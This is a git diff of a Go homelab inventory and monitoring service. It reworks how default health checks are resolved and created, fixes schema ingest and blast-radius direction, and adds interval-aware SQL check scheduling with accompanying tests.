@@ -42,6 +526,13 @@ func resolveSSHUser(attrs map[string]any) string {
|
||||
return u
|
||||
}
|
||||
}
|
||||
// Workstations carry their login as a top-level `user` attribute
|
||||
// (mac-mini: user: dtoro) rather than under ssh.user. Take it only when
|
||||
// no explicit ssh.user was set, so a host that genuinely wants root still
|
||||
// gets root.
|
||||
if u, ok := attrs["user"].(string); ok && u != "" {
|
||||
return u
|
||||
}
|
||||
return "root"
|
||||
}
|
||||
|
||||
@@ -57,148 +548,17 @@ func resolveSSHPort(attrs map[string]any) int {
|
||||
return 22
|
||||
}
|
||||
|
||||
func forEntityType(entityType string, attrs map[string]any) []CheckDef {
|
||||
host := resolveHost(attrs)
|
||||
user := resolveSSHUser(attrs)
|
||||
port := resolveSSHPort(attrs)
|
||||
|
||||
ssh := func(script string) CheckDef {
|
||||
return CheckDef{Kind: "ssh-script", Script: script, Host: host, User: user, Port: port}
|
||||
}
|
||||
|
||||
switch entityType {
|
||||
case "proxmox-host", "standalone-server":
|
||||
if host == "" {
|
||||
return nil
|
||||
// LogResult emits the one line that was missing: a type that asked for
|
||||
// monitoring and did not get it.
|
||||
func LogResult(slug, entityType string, res Result) {
|
||||
switch {
|
||||
case res.Undeclared:
|
||||
slog.Info("checkdefaults: type declares no monitoring",
|
||||
"entity", slug, "type", entityType)
|
||||
case len(res.Skipped) > 0:
|
||||
for _, s := range res.Skipped {
|
||||
slog.Warn("checkdefaults: declared check not created",
|
||||
"entity", slug, "type", entityType, "kind", s.Kind, "reason", s.Reason)
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
ssh("disk_usage_check.sh"),
|
||||
ssh("updates_check.sh"),
|
||||
}
|
||||
case "workstation":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
}
|
||||
case "lxc":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
ssh("cpu_check.sh"),
|
||||
ssh("memory_check.sh"),
|
||||
ssh("load_check.sh"),
|
||||
ssh("disk_usage_check.sh"),
|
||||
}
|
||||
case "vm":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ping", Host: host},
|
||||
}
|
||||
case "service":
|
||||
if host == "" {
|
||||
return nil
|
||||
}
|
||||
n, _ := attrs["name"].(string)
|
||||
if n == "" {
|
||||
return nil
|
||||
}
|
||||
return []CheckDef{
|
||||
{Kind: "ssh-script", Script: "process_check.sh", Host: host, User: user, Port: port,
|
||||
Extra: map[string]any{"args": n}},
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func shortSlug(slug string) string {
|
||||
const n = 8
|
||||
if len(slug) > n {
|
||||
return slug[len(slug)-n:]
|
||||
}
|
||||
return slug
|
||||
}
|
||||
|
||||
func defaultInterval(kind string) int32 {
|
||||
switch kind {
|
||||
case "ping":
|
||||
return 30
|
||||
case "ssh-script":
|
||||
return 60
|
||||
default:
|
||||
return 300
|
||||
}
|
||||
}
|
||||
|
||||
func Ensure(ctx context.Context, tx pgx.Tx, entityID uuid.UUID, slug, entityType string, attrsJSON []byte) {
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO entity_status (entity_id, health, updated_at)
|
||||
VALUES ($1, 'unknown', now())
|
||||
ON CONFLICT (entity_id) DO NOTHING`,
|
||||
entityID)
|
||||
|
||||
var attrs map[string]any
|
||||
if len(attrsJSON) > 0 {
|
||||
json.Unmarshal(attrsJSON, &attrs)
|
||||
}
|
||||
if attrs == nil {
|
||||
attrs = map[string]any{}
|
||||
}
|
||||
|
||||
defs := forEntityType(entityType, attrs)
|
||||
if len(defs) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for i, def := range defs {
|
||||
checkID, err := uuid.NewV7()
|
||||
if err != nil {
|
||||
checkID = uuid.New()
|
||||
}
|
||||
checkSlug := fmt.Sprintf("check:%s:%s:%d", def.Kind, shortSlug(slug), i)
|
||||
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO entities (id, slug, type, name, state, attributes, version, created_at, updated_at)
|
||||
VALUES ($1, $2, 'check', $2, 'active', '{}', 1, now(), now())
|
||||
ON CONFLICT (slug) DO NOTHING`,
|
||||
checkID, checkSlug)
|
||||
|
||||
configMap := map[string]any{}
|
||||
if def.Script != "" {
|
||||
configMap["script"] = def.Script
|
||||
}
|
||||
if def.Host != "" {
|
||||
configMap["host"] = def.Host
|
||||
}
|
||||
if def.User != "" && def.User != "root" {
|
||||
configMap["user"] = def.User
|
||||
}
|
||||
if def.Port != 0 && def.Port != 22 {
|
||||
configMap["port"] = def.Port
|
||||
}
|
||||
if def.Thresholds != nil {
|
||||
configMap["thresholds"] = def.Thresholds
|
||||
}
|
||||
for k, v := range def.Extra {
|
||||
configMap[k] = v
|
||||
}
|
||||
configJSON, _ := json.Marshal(configMap)
|
||||
|
||||
_, _ = tx.Exec(ctx,
|
||||
`INSERT INTO check_defs (entity_id, target_id, kind, config, interval_s, timeout_s, enabled)
|
||||
VALUES ($1, $2, $3, $4, $5, 30, true)
|
||||
ON CONFLICT (entity_id) DO NOTHING`,
|
||||
checkID, entityID, def.Kind, configJSON, defaultInterval(def.Kind))
|
||||
}
|
||||
}
|
||||
|
||||
125
internal/checkdefaults/defaults_test.go
Normal file
125
internal/checkdefaults/defaults_test.go
Normal file
@@ -0,0 +1,125 @@
|
||||
package checkdefaults
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// The attribute shapes here are copied from seeds/inventory.yaml. The original
|
||||
// resolveHost looked for lan_ip / mesh.netbird.ip / mesh_ip, none of which a
|
||||
// service or workstation actually carries — which is why 86 of 89 entities
|
||||
// ended up with no checks.
|
||||
func TestResolveHostAcceptsRealSeedShapes(t *testing.T) {
|
||||
cases := []struct {
|
||||
desc string
|
||||
attrs map[string]any
|
||||
want string
|
||||
}{
|
||||
{"lxc carries lan_ip", map[string]any{"lan_ip": "192.168.8.246"}, "192.168.8.246"},
|
||||
{
|
||||
"ws:mac-mini carries only a netbird fqdn",
|
||||
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||
"fqdn": "mac-mini-234-17.netbird.selfhosted"}}},
|
||||
"mac-mini-234-17.netbird.selfhosted",
|
||||
},
|
||||
{
|
||||
"a netbird ip still wins over the fqdn",
|
||||
map[string]any{"mesh": map[string]any{"netbird": map[string]any{
|
||||
"ip": "100.122.0.10", "fqdn": "x.netbird.selfhosted"}}},
|
||||
"100.122.0.10",
|
||||
},
|
||||
{"public_host as a last resort", map[string]any{"public_host": "media.hubris.network"}, "media.hubris.network"},
|
||||
{"a service carries no address at all", map[string]any{
|
||||
"url": "https://media.hubris.network", "port": 8096}, ""},
|
||||
{"nil attrs", nil, ""},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
if got := resolveHost(c.attrs); got != c.want {
|
||||
t.Errorf("%s: resolveHost = %q, want %q", c.desc, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHTTPURLPrefersAttributeThenName(t *testing.T) {
|
||||
cases := []struct {
|
||||
desc string
|
||||
name string
|
||||
attrs map[string]any
|
||||
want string
|
||||
}{
|
||||
{"explicit url wins", "jellyfin",
|
||||
map[string]any{"url": "https://media.hubris.network"}, "https://media.hubris.network"},
|
||||
{"public_host becomes https", "jellyfin",
|
||||
map[string]any{"public_host": "media.hubris.network"}, "https://media.hubris.network"},
|
||||
// Ingress routes carry the hostname as the entity name and usually
|
||||
// declare no attributes at all.
|
||||
{"hostname-shaped name", "media.hubris.network", nil, "https://media.hubris.network"},
|
||||
{"a bare service name is not a hostname", "jellyfin", nil, ""},
|
||||
}
|
||||
|
||||
for _, c := range cases {
|
||||
got := httpURL(Target{Name: c.name}, c.attrs)
|
||||
if got != c.want {
|
||||
t.Errorf("%s: httpURL = %q, want %q", c.desc, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindReportsWhyItSkipped(t *testing.T) {
|
||||
// A declared kind that cannot be built must explain itself rather than
|
||||
// vanish — that silence is what hid the coverage gap.
|
||||
if defs, reason := buildKind(KindPing, Target{}, nil, "", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("ping without a host should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
if defs, reason := buildKind(KindProcess, Target{Name: ""}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("process without a name should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
if defs, reason := buildKind("dns", Target{}, nil, "10.0.0.1", "root", 22); len(defs) != 0 || reason == "" {
|
||||
t.Errorf("an unimplemented kind should skip with a reason, got %d defs / %q", len(defs), reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindProcessPassesTheUnitName(t *testing.T) {
|
||||
// process_check.sh reads $1 and answers "no service name provided"
|
||||
// without it. checkdefaults always wrote args; nothing read them.
|
||||
defs, reason := buildKind(KindProcess, Target{Name: "jellyfin"}, nil, "10.0.0.1", "root", 22)
|
||||
if len(defs) != 1 {
|
||||
t.Fatalf("expected one process check, got %d (%s)", len(defs), reason)
|
||||
}
|
||||
if got := defs[0].config["args"]; got != "jellyfin" {
|
||||
t.Errorf("process check args = %v, want jellyfin", got)
|
||||
}
|
||||
if got := defs[0].config["script"]; got != "process_check.sh" {
|
||||
t.Errorf("process check script = %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindHTTPUsesAStatusRangeNotAnExactCode(t *testing.T) {
|
||||
// Most services sit behind Authentik and answer 302/401.
|
||||
defs, _ := buildKind(KindHTTP, Target{Name: "jellyfin"},
|
||||
map[string]any{"url": "https://media.hubris.network"}, "", "root", 22)
|
||||
if len(defs) != 1 {
|
||||
t.Fatalf("expected one http check, got %d", len(defs))
|
||||
}
|
||||
if got := defs[0].config["max_status"]; got != 500 {
|
||||
t.Errorf("max_status = %v, want 500", got)
|
||||
}
|
||||
if _, exact := defs[0].config["expected_status"]; exact {
|
||||
t.Error("default http checks must not pin an exact status")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKindResourceExpandsToFourScripts(t *testing.T) {
|
||||
defs, _ := buildKind(KindResource, Target{}, nil, "10.0.0.1", "root", 22)
|
||||
if len(defs) != 4 {
|
||||
t.Fatalf("resource should expand to 4 checks, got %d", len(defs))
|
||||
}
|
||||
for _, d := range defs {
|
||||
if d.kind != "ssh-script" {
|
||||
t.Errorf("resource check kind = %q, want ssh-script", d.kind)
|
||||
}
|
||||
if d.config["host"] != "10.0.0.1" {
|
||||
t.Errorf("resource check lost its host: %v", d.config)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -167,6 +167,62 @@ func TestSeedIngestIdempotentAndNoDuplicateEdges(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// Regression: insertOneEntityType read tMap["attribute_schema"], but
|
||||
// seeds/ontology.yaml spells the key `attributes:`. The mismatch marshalled a
|
||||
// nil into the JSON literal `null` for every one of the 60 types, so no
|
||||
// attribute schema was ever ingested — the API and `oikos export` returned
|
||||
// null across the board, silently, for the life of the project.
|
||||
func TestSeedIngestsAttributeSchemas(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
if n := count(t, pool,
|
||||
`SELECT count(*) FROM entity_types WHERE attribute_schema = 'null'::jsonb`); n != 0 {
|
||||
t.Errorf("%d entity types stored the JSON literal null instead of a schema or SQL NULL", n)
|
||||
}
|
||||
|
||||
if n := count(t, pool,
|
||||
`SELECT count(*) FROM entity_types WHERE jsonb_typeof(attribute_schema) = 'object'`); n == 0 {
|
||||
t.Fatal("no entity type ingested an attribute schema")
|
||||
}
|
||||
|
||||
// A type declaring `attributes:` must round-trip its properties.
|
||||
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||
WHERE name = 'lxc' AND attribute_schema #>> '{properties,pve_id,type}' = 'integer'`); n != 1 {
|
||||
t.Error("lxc.attribute_schema lost its declared pve_id property")
|
||||
}
|
||||
|
||||
// A type declaring none stores SQL NULL, not a JSON null.
|
||||
if n := count(t, pool, `SELECT count(*) FROM entity_types
|
||||
WHERE name = 'sensor' AND attribute_schema IS NULL`); n != 1 {
|
||||
t.Error("a type declaring no attributes should store SQL NULL")
|
||||
}
|
||||
}
|
||||
|
||||
// monitoring_spec drives which entities coverageSweep may flag as unmonitored,
|
||||
// so the three states have to survive ingest distinctly: SQL NULL (undeclared,
|
||||
// resolved from an ancestor or the layer default), '[]' (explicitly
|
||||
// unmonitorable), and a non-empty array (the kinds the type warrants).
|
||||
func TestSeedIngestsMonitoringSpec(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
cases := []struct {
|
||||
typ, where, desc string
|
||||
}{
|
||||
{"service", `monitoring_spec = '["http","process"]'::jsonb`, "declared kinds"},
|
||||
{"machine", `monitoring_spec = '["ping","resource","updates"]'::jsonb`, "declared on an abstract type"},
|
||||
{"site", `monitoring_spec = '[]'::jsonb`, "explicitly unmonitorable"},
|
||||
{"lxc", `monitoring_spec IS NULL`, "inherits from container, so its own column is NULL"},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if n := count(t, pool, fmt.Sprintf(
|
||||
`SELECT count(*) FROM entity_types WHERE name = '%s' AND %s`, c.typ, c.where)); n != 1 {
|
||||
t.Errorf("%s (%s): monitoring_spec did not match %s", c.typ, c.desc, c.where)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAbstractTypeRejected(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
@@ -250,7 +306,17 @@ func TestBlastRadiusTerminatesOnCycles(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
seedAll(t, pool, seedsDir())
|
||||
|
||||
// Build a dependency cycle: gitea → caddy → authentik → gitea
|
||||
// Build a dependency cycle: gitea → caddy → authentik → gitea.
|
||||
//
|
||||
// `depends-on` is declared blast_direction: backward — "A depends-on B"
|
||||
// means B failing breaks A — so the blast radius of gitea walks the edges
|
||||
// BACKWARDS: whoever depends on gitea is affected first. That is authentik
|
||||
// (1 hop), then caddy which depends on authentik (2 hops).
|
||||
//
|
||||
// This test previously asserted caddy=1, authentik=2, which is the same
|
||||
// cycle walked the wrong way round: blast_radius used to follow every edge
|
||||
// source→target regardless of what the edge means, so it answered "what
|
||||
// does gitea depend on" while being named for the opposite question.
|
||||
cycle := []byte(`
|
||||
version: 1
|
||||
relationships:
|
||||
@@ -286,14 +352,24 @@ relationships:
|
||||
}
|
||||
got[slug] = depth
|
||||
}
|
||||
want := map[string]int{"service:gitea": 0, "service:caddy": 1, "service:authentik": 2}
|
||||
want := map[string]int{"service:gitea": 0, "service:authentik": 1, "service:caddy": 2}
|
||||
for slug, depth := range want {
|
||||
if got[slug] != depth {
|
||||
t.Errorf("blast_radius[%s] = %d, want %d (full: %v)", slug, got[slug], depth, got)
|
||||
}
|
||||
}
|
||||
if len(got) != len(want) {
|
||||
t.Errorf("blast_radius returned %d nodes, want %d: %v", len(got), len(want), got)
|
||||
// Deliberately not an exact node count. Walking the right way round also
|
||||
// surfaces the real seed's own dependents of gitea (homelab-mcp and what
|
||||
// depends on it), which are correct answers — the old exact-count
|
||||
// assertion only held because the forward walk found nothing real.
|
||||
// What matters here is that the cycle terminates rather than recursing.
|
||||
if len(got) > 20 {
|
||||
t.Errorf("blast_radius did not terminate sensibly: %d nodes: %v", len(got), got)
|
||||
}
|
||||
for slug, depth := range got {
|
||||
if depth > 5 {
|
||||
t.Errorf("blast_radius[%s] = %d, beyond the max_depth bound", slug, depth)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -55,12 +55,36 @@ FROM events WHERE id > $1 ORDER BY id ASC LIMIT $2;
|
||||
-- =====================================================================
|
||||
|
||||
-- name: ListEnabledCheckDefs :many
|
||||
-- Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||
-- every check ran on every 30s pass and the declared intervals meant nothing.
|
||||
-- NULL last_run_at = never run = due now.
|
||||
SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
||||
cd.interval_s, cd.timeout_s, cd.zone, cd.enabled, cd.updated_at,
|
||||
e.slug AS entity_slug
|
||||
FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
WHERE cd.enabled = true;
|
||||
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled = true
|
||||
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||
AND (cd.last_run_at IS NULL
|
||||
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s));
|
||||
|
||||
-- name: MarkCheckRun :exec
|
||||
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1;
|
||||
|
||||
-- name: WorstHealthForTarget :one
|
||||
-- An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||
-- yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||
-- newly added check does not drag a known-good entity down before it has
|
||||
-- produced a verdict.
|
||||
SELECT COALESCE(
|
||||
(SELECT last_health FROM check_defs
|
||||
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||
ORDER BY CASE last_health
|
||||
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||
LIMIT 1),
|
||||
'unknown')::text AS health;
|
||||
|
||||
-- name: GetCheckDef :one
|
||||
SELECT * FROM check_defs WHERE entity_id = $1;
|
||||
|
||||
@@ -13,14 +13,15 @@ import (
|
||||
|
||||
// SeedResult holds counts from a seed ingest operation.
|
||||
type SeedResult struct {
|
||||
Lifecycles int
|
||||
EntityTypes int
|
||||
Lifecycles int
|
||||
EntityTypes int
|
||||
RelationshipTypes int
|
||||
Entities int
|
||||
Relationships int
|
||||
RiskClasses int
|
||||
ApprovalRules int
|
||||
AutonomySettings int
|
||||
Entities int
|
||||
Relationships int
|
||||
RiskClasses int
|
||||
ApprovalRules int
|
||||
AutonomySettings int
|
||||
Checks int
|
||||
}
|
||||
|
||||
// IngestOntologySeed ingests seeds/ontology.yaml into the DB.
|
||||
@@ -66,12 +67,20 @@ func IngestOntologySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*S
|
||||
targetType, _ := rtMap["target"].(string)
|
||||
cardinality, _ := rtMap["cardinality"].(string)
|
||||
desc, _ := rtMap["description"].(string)
|
||||
// Which end of the edge depends on the other; drives blast_radius().
|
||||
// Absent means 'none' — an undeclared edge contributes nothing rather
|
||||
// than silently producing a wrong dependency answer.
|
||||
blastDirection, _ := rtMap["blast_direction"].(string)
|
||||
if blastDirection == "" {
|
||||
blastDirection = "none"
|
||||
}
|
||||
_, err := tx.Exec(ctx,
|
||||
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description)
|
||||
VALUES ($1, $2, $3, $4, $5, $6)
|
||||
`INSERT INTO relationship_types (name, inverse, source_type, target_type, cardinality, description, blast_direction)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7)
|
||||
ON CONFLICT (name) DO UPDATE SET inverse = $2, source_type = $3,
|
||||
target_type = $4, cardinality = $5, description = $6`,
|
||||
name, nullableStr(inverse), sourceType, targetType, cardinality, desc)
|
||||
target_type = $4, cardinality = $5, description = $6,
|
||||
blast_direction = $7`,
|
||||
name, nullableStr(inverse), sourceType, targetType, cardinality, desc, blastDirection)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("relationship_type %s: %w", name, err)
|
||||
}
|
||||
@@ -96,6 +105,7 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
// Entities
|
||||
entities, _ := data["entities"].([]any)
|
||||
entityTypes := make(map[string]string) // slug -> type, for edge validation
|
||||
var pendingChecks []checkdefaults.Target
|
||||
for _, raw := range entities {
|
||||
eMap, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
@@ -144,7 +154,12 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
return nil, fmt.Errorf("entity_status %s: %w", slug, err)
|
||||
}
|
||||
|
||||
checkdefaults.Ensure(ctx, tx, entityID, slug, typeName, attrsBytes)
|
||||
// Default checks are deferred until after relationships are ingested:
|
||||
// a service has no address of its own and inherits its container's,
|
||||
// which means the hosting edge has to exist first.
|
||||
pendingChecks = append(pendingChecks, checkdefaults.Target{
|
||||
ID: entityID, Slug: slug, Type: typeName, Name: name, Attrs: attrsBytes,
|
||||
})
|
||||
|
||||
r.Entities++
|
||||
}
|
||||
@@ -208,6 +223,19 @@ func IngestInventorySeed(ctx context.Context, tx pgx.Tx, data map[string]any) (*
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Default checks, now that hosting edges exist. Errors here are fatal:
|
||||
// swallowing them is what let a foreign-key violation abort the ingest
|
||||
// transaction while surfacing as an unrelated failure several entities
|
||||
// later.
|
||||
for _, target := range pendingChecks {
|
||||
res, err := checkdefaults.Ensure(ctx, tx, tree, target)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("default checks for %s: %w", target.Slug, err)
|
||||
}
|
||||
checkdefaults.LogResult(target.Slug, target.Type, res)
|
||||
r.Checks += res.Created
|
||||
}
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
@@ -361,19 +389,68 @@ func insertOneEntityType(ctx context.Context, tx pgx.Tx, name string, tMap map[s
|
||||
layer, _ := tMap["layer"].(string)
|
||||
desc, _ := tMap["description"].(string)
|
||||
lifecycleID, _ := tMap["lifecycle"].(string)
|
||||
attrSchema := tMap["attribute_schema"]
|
||||
|
||||
schemaBytes, _ := json.Marshal(attrSchema)
|
||||
// seeds/ontology.yaml spells this `attributes:`. Reading it as
|
||||
// "attribute_schema" silently marshalled nil to the JSON literal `null`
|
||||
// for every type, so no attribute schema was ever ingested — the API and
|
||||
// `oikos export` returned null for all 60 types.
|
||||
attrSchema := tMap["attributes"]
|
||||
_, err := tx.Exec(ctx,
|
||||
`INSERT INTO entity_types (name, parent_type, is_abstract, domain, layer, description,
|
||||
lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, 1, 'active', now(), now())
|
||||
lifecycle_id, attribute_schema, monitoring_spec, schema_version, status, created_at, updated_at)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, 1, 'active', now(), now())
|
||||
ON CONFLICT (name) DO UPDATE SET parent_type = $2, is_abstract = $3, domain = $4,
|
||||
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8, updated_at = now()`,
|
||||
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID), nullableStr(string(schemaBytes)))
|
||||
layer = $5, description = $6, lifecycle_id = $7, attribute_schema = $8,
|
||||
monitoring_spec = $9, updated_at = now()`,
|
||||
name, nullableStr(parent), isAbstract, domain, layer, desc, nullableStr(lifecycleID),
|
||||
attributeSchemaJSON(attrSchema), monitoringSpecJSON(tMap["monitoring"]))
|
||||
return err
|
||||
}
|
||||
|
||||
// attributeSchemaJSON marshals a type's `attributes:` block for storage,
|
||||
// mapping "the type declares no schema" to SQL NULL rather than to the JSON
|
||||
// literal `null`. Both readers already treat a JSON `null` as absent, but a
|
||||
// real NULL is what `attribute_schema IS NULL` expects and is what the column
|
||||
// meant all along.
|
||||
func attributeSchemaJSON(v any) any {
|
||||
if v == nil {
|
||||
return nil
|
||||
}
|
||||
b, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// monitoringSpecJSON normalises an entity type's `monitoring:` declaration into
|
||||
// the JSONB stored in entity_types.monitoring_spec. Three outcomes, and the
|
||||
// difference between the last two is load-bearing for coverage signalling:
|
||||
//
|
||||
// absent → nil (SQL NULL) — undeclared, an ontology gap
|
||||
// none | [] → "[]" — explicitly unmonitorable, by design
|
||||
// [http, resource]→ '["http","resource"]'
|
||||
//
|
||||
// `monitoring: none` is accepted as a more legible spelling of `[]`; YAML
|
||||
// parses the bare word as the string "none", not as null.
|
||||
func monitoringSpecJSON(v any) any {
|
||||
switch spec := v.(type) {
|
||||
case nil:
|
||||
return nil
|
||||
case string:
|
||||
if spec == "none" {
|
||||
return "[]"
|
||||
}
|
||||
// A single kind written unquoted, e.g. `monitoring: http`.
|
||||
b, _ := json.Marshal([]string{spec})
|
||||
return string(b)
|
||||
case []any:
|
||||
b, _ := json.Marshal(toStringSlice(spec))
|
||||
return string(b)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func toStringSlice(v any) []string {
|
||||
if v == nil {
|
||||
return nil
|
||||
@@ -407,4 +484,3 @@ func keysOf(m map[string]map[string]any) []string {
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
|
||||
@@ -46,6 +46,8 @@ type AgentSession struct {
|
||||
Summary string
|
||||
EntityID *uuid.UUID
|
||||
CompletionNudges int32
|
||||
Blocker string
|
||||
ClosedAt *time.Time
|
||||
}
|
||||
|
||||
type Approval struct {
|
||||
@@ -110,6 +112,10 @@ type CheckDef struct {
|
||||
Zone *string
|
||||
Enabled bool
|
||||
UpdatedAt time.Time
|
||||
// When this check last executed. NULL = never, due immediately. Compared against interval_s to decide due-ness.
|
||||
LastRunAt *time.Time
|
||||
// This check's own most recent verdict (healthy/degraded/down/unknown). entity_status.health is the worst of these across the target's enabled checks.
|
||||
LastHealth *string
|
||||
}
|
||||
|
||||
type Classification struct {
|
||||
@@ -177,6 +183,8 @@ type EntityType struct {
|
||||
Status string
|
||||
CreatedAt time.Time
|
||||
UpdatedAt time.Time
|
||||
// Check kinds this type warrants, resolved through parent_type. NULL means undeclared (an ontology gap), [] means explicitly unmonitorable, ["http","resource"] means declared kinds. Populated from seeds/ontology.yaml.
|
||||
MonitoringSpec []byte
|
||||
}
|
||||
|
||||
type Event struct {
|
||||
@@ -211,6 +219,14 @@ type Execution struct {
|
||||
CreatedAt time.Time
|
||||
}
|
||||
|
||||
type ExecutionLog struct {
|
||||
ExecutionID uuid.UUID
|
||||
Ts time.Time
|
||||
Seq int32
|
||||
Stream string
|
||||
Chunk string
|
||||
}
|
||||
|
||||
type Feedback struct {
|
||||
EntityID uuid.UUID
|
||||
ExecutionID uuid.UUID
|
||||
@@ -241,6 +257,20 @@ type KnowledgeEntity struct {
|
||||
UpdatedAt time.Time
|
||||
ContentHash *string
|
||||
Search interface{}
|
||||
EditedBy string
|
||||
DeletedAt *time.Time
|
||||
}
|
||||
|
||||
type KnowledgeRevision struct {
|
||||
ID int64
|
||||
EntityID uuid.UUID
|
||||
Title string
|
||||
Content string
|
||||
Source *string
|
||||
Tags []string
|
||||
EditedBy string
|
||||
VersionAt time.Time
|
||||
RevisedAt time.Time
|
||||
}
|
||||
|
||||
type Ledger struct {
|
||||
|
||||
@@ -30,7 +30,7 @@ func (q *Queries) GetLifecycleForType(ctx context.Context, name string) (Lifecyc
|
||||
}
|
||||
|
||||
const listEntityTypes = `-- name: ListEntityTypes :many
|
||||
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at FROM entity_types ORDER BY name
|
||||
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at, monitoring_spec FROM entity_types ORDER BY name
|
||||
`
|
||||
|
||||
func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
||||
@@ -55,6 +55,7 @@ func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
||||
&i.Status,
|
||||
&i.CreatedAt,
|
||||
&i.UpdatedAt,
|
||||
&i.MonitoringSpec,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -51,7 +51,7 @@ func (q *Queries) GetAutonomySetting(ctx context.Context, key string) (string, e
|
||||
}
|
||||
|
||||
const getCheckDef = `-- name: GetCheckDef :one
|
||||
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at FROM check_defs WHERE entity_id = $1
|
||||
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at, last_run_at, last_health FROM check_defs WHERE entity_id = $1
|
||||
`
|
||||
|
||||
func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef, error) {
|
||||
@@ -68,6 +68,8 @@ func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef
|
||||
&i.Zone,
|
||||
&i.Enabled,
|
||||
&i.UpdatedAt,
|
||||
&i.LastRunAt,
|
||||
&i.LastHealth,
|
||||
)
|
||||
return i, err
|
||||
}
|
||||
@@ -694,7 +696,11 @@ SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
||||
e.slug AS entity_slug
|
||||
FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled = true
|
||||
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||
